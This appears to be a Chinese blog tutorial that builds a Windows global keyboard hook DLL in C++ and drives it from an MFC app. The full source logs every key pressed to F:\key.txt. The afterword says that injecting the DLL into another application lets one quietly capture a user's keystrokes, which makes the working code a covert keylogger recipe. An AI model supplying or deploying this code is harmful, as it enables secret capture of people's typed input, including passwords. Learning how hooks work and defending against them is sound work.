1 简介

  • 工具:VS2019
  • 目的:写一个动态链接库(全局键盘钩子的注册和注销),然后在MFC项目中调用,MFC中有两个按钮,一个用于注册全局钩子,一个用于销毁全局钩子。注册全局钩子后,按下键盘的按钮,被按下的按钮会被记录到F:\key.txt 文件中。
  • 注意
    • 有许多API建议参考微软的官方文档,你会看到很多很重要的东西,尤其是SetWindowsHookExA的官方文档
  • 另一个LL版本的写法,可以参考我的这篇文章

2 编写DLL动态链接库

  • 新建DLL项目

    • 不要勾选【将解决方案和项目放在同一目录中(D)】
  • 不要动建立好的项目中的其他文件
  • 在项目中新建Keyboard.cpp文件
    • 注意PROJECT_NAME这个宏,要和最后导出的DLL文件名一致
  • 关于键盘回调函数
    • 为什么要这么写?你需要参考回调函数的官方文档
    • 有哪些可以虚拟按键的代号?虚拟键码的官方文档
  • 注意
    • 2022.05.03日更新,我在QT中重新使用了 SetWindowsHookExW 这个函数发现了几个问题

      • 在QT中,键盘监听是WH_KEYBOARD_LL 而不是 WH_KEYBOARD,同理鼠标监听是WH_MOUSE_LL 而不是 WH_MOUSE,如果idHook填错的话,会导致回调函数挂不上。
      • 并且要注意,非LL版和LL版的回调函数中对应的参数值的含义是不同的,所以,一定要注意看官方文档。
// MathLibrary.cpp : Defines the exported functions for the DLL.
#include "pch.h" // use stdafx.h in Visual Studio 2017 and earlier
#include <utility>
#include <limits.h>
#include "Keyboard.h"// 项目的名称,注意这个项目的名称要和最后导出的DLL的文件名一致
#define PROJECT_NAME L"KeyboardDll"// 全局钩子
HHOOK g_hHook = NULL;/// <summary>
/// 键盘回调
/// </summary>
/// <param name="code"></param>
/// <param name="wParam">虚拟按键的代号</param>
/// <param name="lParam">键状态</param>
/// <returns></returns>
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) {if (code < 0 || code == HC_NOREMOVE) {// 如果代码小于零,则挂钩过程必须将消息传递给CallNextHookEx函数,而无需进一步处理,并且应返回CallNextHookEx返回的值。此参数可以是下列值之一。(来自官网手册)return CallNextHookEx(g_hHook, code, wParam, lParam);}if (lParam & 0x40000000) {// 【第30位的含义】键状态。如果在发送消息之前按下了键,则值为1。如果键被释放,则为0。(来自官网手册)// 我们只考虑被按下后松开的状态return CallNextHookEx(g_hHook, code, wParam, lParam);}char szKeyName[200];// 【参数1】LPARAM类型,代表键状态// 【参数2】缓冲区// 【参数3】缓冲区大小GetKeyNameText(lParam, (LPWSTR)szKeyName, 100);// 打开文件FILE* fp;errno_t err = fopen_s(&fp, "F:\\key.txt", "a+");if (err != 0) {// 文件打开失败,让钩子继续往下传return CallNextHookEx(g_hHook, code, wParam, lParam);}// 写入文件char szWriteText[100];// 改写字符串sprintf_s(szWriteText, "%s\n", szKeyName);fwrite(szWriteText, 1, strlen(szWriteText), fp);// 关闭文件fclose(fp);// 将钩子往下传return CallNextHookEx(g_hHook, code, wParam, lParam);
}/// <summary>
/// 安装钩子
/// </summary>
/// <returns></returns>
BOOL InstallHook() {// 【参数1】钩子的类型,这里代表键盘钩子// 【参数2】钩子处理的函数// 【参数3】获取模块,PROJECT_NAME为DLL的项目名称// 【参数4】线程的ID,如果是全局钩子的话,这里要填0,如果是某个线程的钩子,那就需要写线程的IDg_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle(PROJECT_NAME), 0);if (g_hHook == NULL) {// 钩子安装失败MessageBox(NULL, L"全局钩子注册失败", L"信息", MB_OK);return FALSE;}return TRUE;
}/// <summary>
/// 卸载钩子
/// </summary>
/// <returns>是否卸载成功</returns>
BOOL UninstallHook() {return UnhookWindowsHookEx(g_hHook);
}
  • 在项目中新建Keyboard.h文件

    • 将两个方法导出
    • 注意,Keyboard回调函数外界不使用,所以不用导出。
// MathLibrary.h - Contains declarations of math functions
#pragma once#ifdef MATHLIBRARY_EXPORTS
#define MATHLIBRARY_API __declspec(dllexport)
#else
#define MATHLIBRARY_API __declspec(dllimport)
#endif#include <iostream>
#include "windows.h"using namespace std;
extern "C" MATHLIBRARY_API BOOL InstallHook();
extern "C" MATHLIBRARY_API BOOL UninstallHook();
  • 在生成解决方案前,注意输出模式,该模式(x64)需要和使用该DLL文件的应用程序对应
  • 然后,默认在 解决方案/x64/Release/下可以找到DLL文件

3 在MFC项目中使用

  • 在VS2019中,创建MFC项目

    • 如果你没有MFC项目的选项,则点击【工具】-【获取工具和功能】
    • 选择【使用C++的桌面开发】,还没完,右侧的MFC安装选项可能不会被选中,你需要勾选一下
    • 下载完后就好了

  • 将上面得到的DLL文件放入MFC项目的根路径下
  • 放置两个Button按钮,双击Button按钮,自动创建两个回调函数,一个回调函数注册钩子,一个回调函数销毁钩子
  • 我采用显示的方式调用DLL,如果采用隐式的方式会更方便点,只不过需要上面生成的.lib文件
// 需要定义函数指针
typedef BOOL(*PADD)(void);
/// <summary>
/// 注册全局钩子
/// </summary>
void CMFCApplication1Dlg::OnBnClickedButton1()
{// 加载DLL库HMODULE hDLL = LoadLibrary(L"KeyboardDll.dll");if (hDLL == NULL) {MessageBox(L"加载失败");return;}// 获取库中的方法PADD pAdd = (PADD)GetProcAddress(hDLL, "InstallHook");  // 获取函数// 使用库中的方法pAdd();
}/// <summary>
/// 注销全局钩子
/// </summary>
void CMFCApplication1Dlg::OnBnClickedButton2()
{// 加载对应的库HMODULE hDLL = LoadLibrary(L"KeyboardDll.dll");if (hDLL == NULL) {MessageBox(L"加载失败");return;}// 获取库中的方法PADD pAdd = (PADD)GetProcAddress(hDLL, "UninstallHook");  // 获取函数// 使用pAdd();
}

3 后记

  • 结合上一篇文章,你可以将钩子函数动态注入到某个应用程序中。也就是把注册全局钩子的DLL中的函数,在DLLMain(DLL的入口方法中调用),这样就可以悄悄地截取到用户输入的键盘信息了。

C++ HOOK实现全局键盘钩子的详细过程相关推荐

  1. HOOK使用:全局键盘钩子

    // CatchKey.cpp : Defines the entry point for the DLL application. // #define _WIN32_WINNT 0x0500 // ...

  2. 如何让你的程序避开全局键盘钩子的监视

    原文地址:http://blog.okbase.net/BlueSky/archive/3839.html 一直以来有个疑问,就是如果别人在你的电脑上安装了键盘钩子来监视你的键盘按键动作,我的程序怎么 ...

  3. 使用raw input 代替全局键盘钩子

    //关于raw input 请查看msdn https://msdn.microsoft.com/en-us/library/windows/desktop/ms645536%28v=vs.85%29 ...

  4. C++编写Windows全局键盘钩子记录键盘输入

    1.键盘钩子处理程序 HookProc 2.键盘钩子安装程序 InstallHook 3.键盘钩子卸载程序 UnInstallHook 4.键盘钩子dll的加载,安装与释放 生成标准windows d ...

  5. 我的全局键盘钩子(KeyBoardHook)

    1,钩子操作类 public class KeyPressSender{[StructLayout(LayoutKind.Sequential)]public class KeyBoardHookSt ...

  6. VC++钩子使用之全局键盘钩子

    文章目录 钩子简介 使用钩子 生成KeyHook.dll 加载KeyHook.dll 窗体接收两次按键消息的问题 参考 如果想要在Win32窗体程序中实现按键捕获,可以覆写PreTranslateMe ...

  7. QQ密码输入框(防键盘钩子)原理分析

    1.网上看到的一些防星号查看器的代码大多是在后台维护一个字符串(真实的密码),界面则不显示真实的密码,这样做,维护那个字符串很费事,就因为我之前那样做过,我才在看到WM_GETTEXT后想要重做一个 ...

  8. vs2019键盘钩子_C#键盘按键监视

    using System; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; using ...

  9. 利用底层键盘钩子拦载任意按键(回调版)

    前段时间我曾经写过一篇<利用底层键盘钩子屏蔽任意按键>,并放到了我的blog上.这篇文章的题目中把"屏蔽"改成了"拦截",显然要比以前的版本强一些了 ...

  10. 利用底层键盘钩子屏蔽任意按键

    很多人都知道,如果想在系统范围内屏蔽键盘上的任意按键需要使用全局键盘钩子,然而像win键这样"倔强"的按键又不是普通的键盘钩子就能搞定的.这里我提供一种利用底层键盘钩子屏蔽任意按键 ...

最新文章

  1. 2013年4月工作小结 -- 穿越前的回眸
  2. WebView完全解读
  3. python git切换分支_git命令之切换分支
  4. #前端# 解决前端页面滑动不顺畅的问题
  5. ubuntu12.04编译rtems doc目录
  6. 修改Myecclipse servlet/jsp的默认模板
  7. codeforces590b//Chip 'n Dale Rescue Rangers//Codeforces Round #327 (Div. 1)
  8. Java命令运行没反应_cmd中执行java命令没有输出结果
  9. php后台发送qq消息,WebQQ消息发送功能
  10. SMS 短信 API 接口调用
  11. 输入阻抗、输出阻抗与阻抗匹配
  12. 数独解法-变形数独(第三讲:数独进阶方法(摒除))
  13. ( 方框打勾 java_Java 11手册:Java 11是否在所有正确的方框中打勾?
  14. 云服务是什么?云服务能做什么?
  15. K-th Largest Value
  16. PCA(主成分分析法)的理解笔记及算法的实现
  17. Python绘制七段数码管 获取并显示当前系统时间
  18. web应用登录,报错空指针java.lang.NullPointerException问题--可能的解决方式
  19. Android之修改短信程序
  20. 【C语言面试复试汇总】

热门文章

  1. RTI_DDS自定义插件开发 4 接收方
  2. 银行卡号与开户行对照文档
  3. qca9377 SDIO wifi使用指南
  4. tomcat7下载地址
  5. VR+教育 虚拟现实(VR)智慧教室整体解决方案
  6. IDM俄国大神直装注册版INTERNET DOWNLOAD MANAGER 6.36.7
  7. BN层(Pytorch)
  8. 视频教程-Dubbo视频教程-Java
  9. 时序数据库 VS 工业实时数据库
  10. 萤火虫(FA)算法(附完整Matlab代码,可直接复制)